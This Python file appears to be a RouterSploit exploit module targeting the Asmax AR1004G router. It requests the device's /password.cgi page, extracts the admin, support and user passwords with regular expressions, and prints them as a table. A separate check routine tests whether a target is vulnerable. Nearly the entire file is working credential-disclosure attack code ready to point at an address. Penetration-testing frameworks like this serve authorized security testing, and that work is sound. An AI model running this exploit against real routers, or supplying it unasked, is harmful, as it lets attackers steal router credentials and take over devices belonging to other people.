import re

from routersploit import (
    exploits,
    sanitize_url,
    print_status,
    print_error,
    print_success,
    print_table,
    http_request,
    mute,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
    If the target is vulnerable it allows to read credentials for admin, support and user."
    """
    __info__ = {
        'name': 'Asmax AR1004G Password Disclosure',
        'description': 'Exploits asmax password disclosure vulnerability that allows to '
                       'fetch credentials for: Admin, Support and User accounts.',
        'authors': [
            'Marcin Bury <marcin.bury@reverse-shell.com>',  # routersploit module
        ],
        'references': [
             'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
        ],
        'devices': [
             'Asmax AR 1004g',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1')  # target address
    port = exploits.Option(80, 'Target port')  # default port

    def run(self):
        creds = []
        url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))

#        print_status("Requesting for {}".format(url))

        response = http_request(method="GET", url=url)
        if response is None:
            return

        admin = re.findall("pwdAdmin = '(.+?)'", response.text)
        if admin:
            creds.append(('admin', admin[0]))

        support = re.findall("pwdSupport = '(.+?)'", response.text)
        if support:
            creds.append(('support', support[0]))

        user = re.findall("pwdUser = '(.+?)'", response.text)
        if user:
            creds.append(('user', user[0]))

        if creds:
            print_success("Credentials found!")
            print_table(("Login", "Password"), *creds)
        else:
            print_error("Credentials could not be found")

    @mute
    def check(self):
        url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))

        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])):
            return True  # target vulnerable

        return False  # target not vulnerable
